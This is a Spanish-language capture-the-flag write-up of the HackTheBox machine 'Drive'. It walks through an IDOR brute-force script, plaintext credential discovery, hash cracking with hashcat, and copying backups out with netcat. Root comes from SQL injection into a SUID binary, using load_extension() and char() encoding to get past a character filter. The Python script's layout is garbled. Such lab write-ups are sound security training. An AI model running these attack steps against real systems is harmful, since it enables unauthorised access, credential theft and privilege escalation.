
Drive
Enumeración
Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 10.10.11.235.
ping -c 1 10.10.11.235
❯ PING 10.10.11.235 (10.10.11.235) 56(84) bytes of data.
64 bytes from 10.10.11.235: icmp_seq=1 ttl=63 time=96.6 ms
--- 10.10.11.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.567/96.567/96.567/0.000 ms
En el output del comando ejecutado en el parámetro ttl se ve que el valor está más cerca del 64 que del 128, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.
TTL | OS |
---|---|
64 | GNU/Linux |
128 | Windows |
Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y los servicios que están asociados a estos.
nmap -p- --open -sCV -n --min-rate 5000 -Pn 10.10.11.235 -oN Scan ❯
Parámetros | Descripción |
---|---|
-p- | Indica que analice todos los puertos del 1 al 65535 |
–open | Únicamente se escanearan los puertos que estén abiertos |
-sC | Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto |
-sV | Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios |
-n | Se evita realizar resolución DNS |
–min-rate | Indica la cantidad de paquetes que se envían por segundo, en este caso 5000 |
-Pn | Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos. |
-oN | Exporta el output del comando ejecutado a un archivo en formato nmap |
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-29 12:24 CET
Nmap scan report for 10.10.11.235
Host is up (0.098s latency).
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 275a9fdb91c316e57da60d6dcb6bbd4a (RSA)
| 256 9d076bc847280df29f81f2b8c3a67853 (ECDSA)
|_ 256 1d30349f797369bdf667f3343c1ff94e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.20 seconds
Los puertos que se han descubierto son.
Puertos | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 |
80 | HTTP | nginx 1.18.0 |
Vemos que tiene el dominio drive.htb por lo que si tratamos de acceder no podremos visualizar nada. Esto se debe que necesitamos primero indicar al sistema que este dominio hace referencia a la dirección IP 10.10.11.235. Para lograr esto, debemos añadir una entrada correspondiente en el archivo /etc/hosts.

Ahora al acceder al dominio ya nos muestra la pagina.

Búsqueda de Vulnerabilidades
Vemos una sección de registro y login.
Al crearnos un usuario ahora vemos 2 nuevas secciones upload file y dashboard.

Accediendo a dashboard vemos un archivo.

Pinchando en el archivo vemos que ahora en la URL nos muestra su ID, en este caso es el numero 100.

Al cambiar el numero ahora nos muestra otro archivo pero en este caso no tenemos acceso a este.

Habrán mas archivos a parte de esos 2 por lo que para no estar poniendo manualmente los IDs vamos a crear un script el cual lo automatice.
Si tratamos de ver la petición con curl nos salta un panel de login.
curl -s -X GET "http://drive.htb/100/getFileDetail/" -L ❯
Parámetros | Descripción |
---|---|
-s | Indica que en el output no se mostrara el mensaje de progreso que se muestra durante una solicitud. |
-X | El tipo de método que se utilizara en la solicitud POST, GET etc. |
-L | Indica que curl seguirá automáticamente todas las redirecciones HTTP hasta llegar al recurso final. |
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title> Sign up</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<link rel="stylesheet" href="/static/bootstrap/css/bootstrap.css">
<script src="/static/bootstrap/js/jqurey.js"></script>
<script src="/static/bootstrap/js/popper.min.js"></script>
<script src="/static/bootstrap/js/bootstrap.js"></script>
</head>
<body>
<div class="" style="height: 100vh;display: flex; justify-content: center;align-items: center; background-color: aliceblue;" >
<form method="POST" class="form-group">
<input type="hidden" name="csrfmiddlewaretoken" value="nvKR1dkwuOEJ8n4v2dM2c1VusQgM2csU1SXwWntPk4RZLnLiOVREA8LtI2YFzcot">
<div class="form-group">
<h5>Username:</h5>
<input type="text" name="username" autofocus autocapitalize="none" autocomplete="username" maxlength="150" required id="id_username">
</div>
<div class="form-group">
<h5>Password:</h5>
<input type="password" name="password" autocomplete="current-password" required id="id_password">
</div>
<p class="text-center"> <span class="h5 font-weight-bold"> Register </span><a href="/register/" class="font-weight-bold"> here</a></p>
<button type="submit" class="btn btn-primary btn-block">Login</button>
</form>
</div>
</body>
</html>
Al interceptar la petición del login con BurpSuite vemos que arrastra un csrftoken.

Realizando una petición al login con curl vemos que el csrftoken va cambiando con cada solicitud.
for x in $(seq 1 10); do curl -s -X GET "http://drive.htb/login" -L | grep "csrfmiddlewaretoken" | grep -oP 'value=\K".*?"'; done
❯ "fdd31DJrfbuhlg7RvQfGS9kj7Vb0f4kC3cOtA8K1Be8yPuE54kYkfm7MFeIQBGjh"
"NzTLxmz9mPHM9yQine3PfvJADkuE0WueJBe8daeNsG8jVrqLrk2I5F8lfROjb4PH"
"oCDDyeSwe2nJIlCnSsmdNv9xEuZwnJG8ribC73xQaXSuazaDjEnp4U7yUCOkt2vv"
"zNIPr6LMAGqbydnAkTEaiOI9bvx1GsLFOTWcrja0uA9tRxXoUaQR2W7Mx7QRm3jY"
"Eg04aKsW1550xGXtIBWc8BUbiHUg87q9tp6qkaAq1c7SDnV025nFmghGEXdj6mj2"
"cCCVaWFUSKfAjaHwCvn9guennDAEg3EYDfmugz0fI2jR97deJyLtXcDgfe7KJzTd"
"xiaq5gSHgyugEY9gBmd9GFpENZFrkMV6dCLLHyBeWjwrlKbHbMaQAu15MYvYfDrD"
"FhadIZsiAWcyBqQdmZoFJWsqkrFfDzUnVaNY0vff2jjjF8xEkoSNFLJgYT1RZeCR"
"o94nw77kRs69tCRrejTMdS6syf1ssY1RYNrnykVFYOAkOp89QFvO1CEVGw04slvq"
"xfugpCLt03PdJANQCNfeMa6bDPpoILuR0eJCpWJTzPszDCxbpiwWehOVX07O2k1G"
Por lo que parar arrastrar el mismo csrftoken se va a tener que jugar con session en el script de Python para guardar la sesión.
#!/usr/bin/python3
import requests
import signal
import sys
import time
from pwn import *
import pdb
import re
def ctrl_c(sig, frame):
print("\n\n[+] Saliendo ...\n")
1)
sys.exit(
signal.signal(signal.SIGINT, ctrl_c)
# Variables globales
= "http://drive.htb/login/"
login_url = requests.session()
s
def GetCsrfToken():
= s.get(login_url)
r
return re.findall('name="csrfmiddlewaretoken" value="(.*?)"', r.text)[0]
def login(token, username, password):
= {
post_data 'csrfmiddlewaretoken': token,
'username': username,
'password': password
}
= s.post(login_url, data=post_data)
r
def BruteForceIDs():
for id in range(0,200):
= s.get(f'http://drive.htb/{id}/getFileDetail/')
r
if r.status_code != 500:
print(f"[+] Code: {r.status_code} ID: {id}")
if __name__ == "__main__":
= GetCsrfToken()
csrfmiddlewaretoken 'pr1ngl3ss', 'pringles!@')
login(csrfmiddlewaretoken, BruteForceIDs()
Lo primero que hace el script es obtener la sesión y el csrftoken mediante expresiones regulares.
= s.get(login_url)
r
return re.findall('name="csrfmiddlewaretoken" value="(.*?)"', r.text)[0]
Obtenido el csrftoken envía junto a este las credenciales al panel de login.
= {
post_data 'csrfmiddlewaretoken': token,
'username': username,
'password': password
}
= s.post(login_url, data=post_data) r
Para finalmente realizar un IDOR automatizado el cual descubrirá los archivo existentes mediante el código de estado.
for id in range(0,200):
= s.get(f'http://drive.htb/{id}/getFileDetail/')
r
if r.status_code != 500:
print(f"[+] Code: {r.status_code} ID: {id}")
Al ejecutar el script podemos observar los ID de los archivos que existe.


En la sección de Upload File subimos un archivo.

Después de subirlo, somos redirigidos a la sección de archivos donde vemos el nuestro. Al revisar la sección de Reserve, notamos que nuestro archivo tiene un enlace asociado.

Al acceder vemos de nuevo los identificadores en la URL.

Con la diferencia de que ahora al cambiar de ID nos permite ver el contenido del archivo.

Al entrar en uno de los ID descubiertos vemos que el archivo guardaba credenciales en texto plan.
Estando el puerto 22 abierto, intentamos conectarnos con dichas credenciales.

Viendo los procesos que corren con el comando ps vemos que el usuario git esta corriendo gitea.
martin@drive:~$ ps -aux
Parámetros | Descripción |
---|---|
-a | Indica que se deben mostrar todos los procesos de todos los usuarios |
-u | mostrará una lista de todos los procesos actualmente en ejecución que pertenezcan a un usuario |
-x | Se utiliza para incluir en la lista los procesos que no están asociados a ninguna terminal de control |

Gitea escucha por el puerto 3000.

Explotación
Al ejecutar el comando ss para ver los puertos internos del sistema vemos que el 3000 esta en escucha.
martin@drive:~$ ss -nlta
Parámetros | Descripción |
---|---|
-n | Para mostrar las direcciones IP y los números de puerto en formato numérico |
-l | Muestra solo las conexiones que están en un estado de “LISTEN” |
-t | Muestra únicamente conexiones TCP |
-a | Muestra tanto conexiones TCP como UDP |

Si realizamos un curl a la dirección http://localhost:3000 nos muestra el contenido de gitea.

Para acceder a la página, realizaremos con ssh un reenvío de puerto local (Local Port Forwarding), permitiendo que el puerto 3000 de la máquina Drive se enlace directamente con nuestro puerto 3000.
ssh martin@10.10.11.235 -L:3000:127.0.0.1:3000 -fN ❯
Parámatelos | Descripción |
---|---|
-L | Indica que se va a realizar un reenvío de puertos local |
-f | Ejecuta el client SSH en segundo plano |
-N | Indica que no va a ejecutar ningún comando remoto después de establecer la conexión SSH |
Tras realizar el Local Port Forwarding y acceder a nuestro puerto 3000 vía HTTP vemos el contenido del gitea.

Viendo los usuarios, nos damos cuenta de que está el usuario martin.

En el panel de login, observamos que podemos reutilizar la contraseña que encontramos anteriormente para conectarnos como el usuario martinCruz.

Vemos que el usuario CrisDisel tiene un repositorio.

En el archivo db_backup.sh se esta creando de db.sqlite3 un comprimido para posteriormente guardarlo en /var/www/backups/ con una contraseña.

Dentro de var/www/backups vemos los archivos.
martin@drive:/var/www/backups$ ls -l
total 3748
-rw-rw-r-- 1 www-data www-data 14098 Mar 1 06:30 01_Mar_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 13018 Sep 1 2023 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 Sep 1 2023 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 Sep 1 2023 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 Sep 1 2023 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3
Añadimos todo el contenido a un archivo comprimido para enviárnoslo y operar de forma mas cómoda.
martin@drive:/tmp$ zip comprimido.zip /var/www/backups/* -j
adding: 01_Mar_db_backup.sqlite3.7z (stored 0%)
adding: 1_Dec_db_backup.sqlite3.7z (stored 0%)
adding: 1_Nov_db_backup.sqlite3.7z (stored 0%)
adding: 1_Oct_db_backup.sqlite3.7z (stored 0%)
adding: 1_Sep_db_backup.sqlite3.7z (stored 0%)
adding: db.sqlite3 (deflated 99%)
Parámetros | Descripción |
---|---|
-j | Se utiliza para almacenar los archivos comprimidos sin incluir información de ruta |
Con netcat nos ponemos en escucha por el puerto 443 para enviar el comprimido a nuestra maquina.
nc -lvnp 443 > comprimido.zip
❯ listening on [any] 443 ...
Parámetros | Descripción |
---|---|
-l | Indica que se pone en modo escucha en lugar de iniciar una conexión saliente |
-v | Se utiliza para mostrar información adicional o detalles sobre las operaciones que está realizando |
-n | Se evita realizar resolución DNS |
-p | Indica el puerto por el cual se pondra en escucha |

ls -l
❯ .rw-r--r-- root root 14 KB Fri Mar 1 07:30:02 2024 01_Mar_db_backup.sqlite3.7z
.rw-r--r-- root root 13 KB Fri Sep 1 22:00:09 2023 1_Dec_db_backup.sqlite3.7z
.rw-r--r-- root root 12 KB Fri Sep 1 22:00:09 2023 1_Nov_db_backup.sqlite3.7z
.rw-r--r-- root root 12 KB Fri Sep 1 22:00:09 2023 1_Oct_db_backup.sqlite3.7z
.rw-r--r-- root root 12 KB Fri Sep 1 22:00:09 2023 1_Sep_db_backup.sqlite3.7z
.rw-r--r-- root root 84 KB Sat Mar 2 19:54:42 2024 comprimido.zip
.rwxr-xr-x root root 3.6 MB Mon Dec 26 06:51:24 2022 db.sqlite3
Con sqlite3 vemos ver el contenido del archivo de base de datos db.sqlite3.
❯ sqlite3 db.sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite>
Listamos las tablas.
sqlite> .tables
accounts_customuser auth_permission
accounts_customuser_groups django_admin_log
accounts_customuser_user_permissions django_content_type
accounts_g django_migrations
accounts_g_users django_session
auth_group myApp_file
auth_group_permissions myApp_file_groups
sqlite>
Listamos los datos de la tabla accounts_customuser.
sqlite> select * from accounts_customuser;
21|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a|2022-12-26 05:48:27.497873|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04
22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f|2022-12-24 12:55:10|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02
23|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004|2022-12-24 13:17:45|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f|2022-12-24 16:51:53|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15
30|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3|2022-12-26 05:43:40.388717|1|admin|||admin@drive.htb|1|1|2022-12-26 05:30:58.003372
sqlite>
Vemos varios hashes, tratamos de crackearlos con john pero no sabe que tipo de hash es.
catn hashes
❯ sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
john -w /usr/share/wordlists/rockyou.txt hashes
❯ Warning: only loading hashes of type "tripcode", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "pix-md5"
Use the "--format=pix-md5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "mysql"
Use the "--format=mysql" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "oracle"
Use the "--format=oracle" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-SHA1"
Use the "--format=Raw-SHA1" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "LM"
Use the "--format=LM" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "bfegg"
Use the "--format=bfegg" option to force loading hashes of that type instead
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Warning: only loading hashes of type "tripcode", but also saw type "dynamic=md5($p)"
Use the "--format=dynamic=md5($p)" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-SHA256"
Use the "--format=Raw-SHA256" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HAVAL-128-4"
Use the "--format=HAVAL-128-4" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Tiger"
Use the "--format=Tiger" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "lotus5"
Use the "--format=lotus5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HMAC-SHA224"
Use the "--format=HMAC-SHA224" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "MD2"
Use the "--format=MD2" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "mdc2"
Use the "--format=mdc2" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "mscash"
Use the "--format=mscash" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "mscash2"
Use the "--format=mscash2" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-SHA224"
Use the "--format=Raw-SHA224" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Palshop"
Use the "--format=Palshop" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "NT"
Use the "--format=NT" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "ripemd-160"
Use the "--format=ripemd-160" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-MD4"
Use the "--format=Raw-MD4" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "hMailServer"
Use the "--format=hMailServer" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "ripemd-128"
Use the "--format=ripemd-128" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "gost"
Use the "--format=gost" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "Snefru-128"
Use the "--format=Snefru-128" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "ZipMonster"
Use the "--format=ZipMonster" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "bsdicrypt"
Use the "--format=bsdicrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HMAC-SHA384"
Use the "--format=HMAC-SHA384" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "oracle11"
Use the "--format=oracle11" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "xsha"
Use the "--format=xsha" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "lotus85"
Use the "--format=lotus85" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "HAVAL-256-3"
Use the "--format=HAVAL-256-3" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "plaintext"
Use the "--format=plaintext" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 402687 password hashes with no different salts (tripcode [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=6
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-03-03 10:19) 0g/s 39355p/s 39355c/s 15847MC/s 123456..sss
Session completed
Con hashid vemos que el hash posiblemente sea Django(SHA-1).
hashid 'sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a'
❯ Analyzing 'sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a'
+] Django(SHA-1)
[+] SAP CODVN F/G (PASSCODE) [
Tratamos de crackear los hashes utilizando hashcat mirando primero el tipo del hash.
hashcat --example-hashes | grep -i "Django (SHA-1)" -B 1 -A 2
❯ MODE: 124
TYPE: Django (SHA-1)
HASH: sha1$fe76b$02d5916550edf7fc8c886f044887f4b1abf9b013
PASS: hashcat
Sabiendo ahora el tipo de hash procederemos ha realizar el ataque de fuerza bruta.
hashcat -a 0 -m 124 hashes /usr/share/wordlists/rockyou.txt ❯
Parámetros | Descripción |
---|---|
-a | Especifica el tipo de ataque que se realizará |
-m | Especifica el tipo de hash que se está intentara romper |
Solo nos ha descubierto la contraseña john316.

Descomprimimos los archivos con la contraseña H@ckThisP@ssW0rDIfY0uC@n:) vista en el archivo db_backup.sh del repositorio anteriormente visto, y vemos que todos contienen un archivo de base de datos db.sqlite3.
tree
❯ .
1
├── 01_Mar_db_backup.sqlite3.7z
│ ├── db.sqlite3
│ └── 2
├── 1_Dec_db_backup.sqlite3.7z
│ ├── DoodleGrive
│ └── db.sqlite3
│ └── 3
├── 1_Nov_db_backup.sqlite3.7z
│ ├── db.sqlite3
│ └── 4
├── 1_Oct_db_backup.sqlite3.7z
│ ├── db.sqlite3
│ └── 5
├── 1_Sep_db_backup.sqlite3.7z
│ ├── db.sqlite3
│ └── comprimido.zip
├── credentials.txt
├── hashes └──
para evitar estar realizando el mismo procedimiento para buscar hashes, con el parámetro –line de sqlite3 podemos automatizar todo eso y pillar los hashes.
find . -name "db.sqlite3" | while read line; do sqlite3 $line --line 'select * from accounts_customuser';done | grep password | awk 'NF{print $NF}' | grep -v "pbkdf2"
❯ sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
Con los hashes descubiertos realizamos de nuevo el ataque de fuerza bruta mostrándonos ahora 3 nuevas contraseñas.

Viendo que hay 2 usuario mas en el sistema probamos las 4 contraseñas para los usuarios cris y tom.
martin@drive:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
catn credentials.txt
❯ martin:Xk4@KjyrYv8t194L!
john316
johniscool
john boy
johnmayer7
Al autenticarnos como el usuario tom utilizando la contraseña johnmayer7, logramos acceder a la cuenta y ver la primera flag.
martin@drive:~$ su tom
Password:
tom@drive:/home/martin$ cd
tom@drive:~$ cat user.txt
6fa*****************************
tom@drive:~$
Post-explotación
En el directorio personal de trabajo del usuario tom vemos un binario con permisos SUID.
tom@drive:~$ ls -l
total 880
-rw-r--r-- 1 tom tom 0 Mar 2 09:42 db.sqlite3
-rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli
-rw-rw-r-- 1 tom tom 172 Mar 2 10:06 konz.c
-rw-r----- 1 root tom 719 Feb 11 2023 README.txt
-rw-r----- 1 root tom 33 Mar 1 05:01 user.txt
Si ejecutamos el binario vemos que nos pide un nombre de usuario.
tom@drive:~$ ./doodleGrive-cli
Caution this tool still in the development phase...please report any issue to the development team[!]
[!]Enter Username:
Con el comando strings vemos los caracteres imprimibles, mostrándonos el nombre de usuario moriarty con la contraseña findMeIfY0uC@nMr.Holmz!.

Al poner las credenciales nos muestra un menu.
tom@drive:~$ ./doodleGrive-cli
Caution this tool still in the development phase...please report any issue to the development team[!]
[!]Enter Username:
moriarty
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option:
Utilizamos Ghidra para ver por detrás como funciona el binario.

ghidra ❯





Vemos la función main.

En caso de que se proporcionen las credenciales correctas se ejecutara la función main_menu().

Dentro de la función main_menu().

Vemos que en caso de que se elija la opción 5 ejecutara la función activate_user_account().

Y dentro de esa función pide un usuario, en caso de que el valor del usuario enviado no este vacío realiza una sanitización en la función sanitize_string() que recibe la variable del valor enviado local_148.

En la función sanitize_string() vemos que en el valor tan largo de la variable local_29 al pasarlo en formato char muestra varios caracteres los cuales seguramente son los badchars \\{/| ’\n\0 .



En esta parte de código vemos que está creando un bucle que finaliza hasta que valor de local_30 sea igual a 9, en la comparativa vemos que si en la posición local_38 que ahora es 0 (de la cadena que se recibe param_1), sea igual a local_29 \\{/| ’\n\0 entonces no lo cuenta.

En el binario, en la parte del nombre de usuario si añadimos esos caracteres no deseados, los borra de la cadena.

Volviendo a la función activate_user_account() vemos que después de realizar la sanitización ejecuta un comando el cual utilizando sqlite3 para conectarse al db.sqlite3 con el parámetro -line ejecuta una instrucción que actualiza la tabla accounts_customuser añadiendo el valor 1 a is_active donde el nombre de usuario sea el valor de la variable local_148, y nosotros tenemos control sobre esa variable.

Por lo que nos podríamos aprovechar de esa variable inyectando cualquier comando si no fuera por los caracteres que se sanitizan.
Vemos que con load_extension() podemos realizar un RCE cargando extensiones.

Aquí se detalla la funcionalidad de load_extension().
La idea es que a la hora de cargar una extensión se pueda crear un archivo de biblioteca compartida para cargar un comando a nivel de sistema.
Cuando se crea un archivo de biblioteca compartida por defecto, SQLite intentará cargarlo para utilizarlo como función de entrada y ejecutar la instrucción u operación definida en esa extensión. SQLite buscará una función llamada sqlite3_extension_init en el archivo de biblioteca compartida. Sin embargo, si esta función no existe, SQLite buscará una función llamada “sqlite3_X_init”, donde “X” es el nombre del archivo quitando desde la primera barra / hasta el primer punto . y sin la palabra lib.
Ej: Si creamos un archivo de biblioteca compartida con nombre test.so o libtest, quitara tanto la extensión .so como la palabra lib, quedando al final como test, para luego buscar y ejecutar la función con el nombre sqlite3_test_init.
Si ponemos directamente el load_extension() no va a funciona ya que WHERE no espera ninguna otra operatoria.
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="" load_extension()";
Lo que si que se puede hacer es jugar con concatenaciones +, en este caso añadimos ro y lo concatenamos con jo quedando como rojo, pero para que no quede ninguna comilla colgando añadimos otra concatenación con otra comilla.


Por tanto realizamos una concatenación para que interprete el load_extension(), quedando de la siguiente forma ""+load_extension()+"";.
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username=""+load_extension()+"";
Si lo ejecutamos en el binario queda tal que así.

Además vemos que nos funciona ya que nos pide un numero de argumentos para la función load_extension().
Teniendo ya la función concatenada tratamos de agregar el archivo de biblioteca compartida.

Cabe resaltar que tenemos la limitante de los badchars \\{/| ’\n\0.
Utilizando char() podemos pasar los caracteres a decimal pudiendo burlar la sanitización.


Pero la cosa no acaba aquí, y es que tenemos un limite de longitud de 40 caracteres máximo.

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | wc -m
❯ 40

Por lo que para no superar ese limite, el nombre del archivo de biblioteca será únicamente una letra.
Con todo esto explicado, creamos el archivo de biblioteca compartida, el cual le añadirá el permiso SUID a la bash pudiendo ejecutar el binario como el propietario, en este caso el usuario root.

Lo compilamos.
tom@drive:~$ gcc test.c -shared -fPIC -o a
Parámetros | Descripción |
---|---|
-shared | Se utiliza para generar un archivo compartido en lugar de un archivo ejecutable estándar. |
-fPIC | Genera código independiente de posición, lo que es esencial para las bibliotecas compartidas. |
-o | Especifica el nombre del archivo de salida generado por el compilador. |
Con el archivo de biblioteca ya creado, habría que ejecutarlo tal que así ./a y separado por comas.

Estos serian los caracteres en decimal.
Carácter | Decimal |
---|---|
. | 46 |
/ | 47 |
a | 97 |

Al pasarlo al binario no pasa nada.

Pero al mirar los permisos del binario bash podemos ver que tiene el permiso SUID.

tom@drive:~$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
7f6*****************************
bash-5.0#
Aqui se explica con detalle el AutoPWN de la máquina Drive.
© - Mr. Pr1ngl3s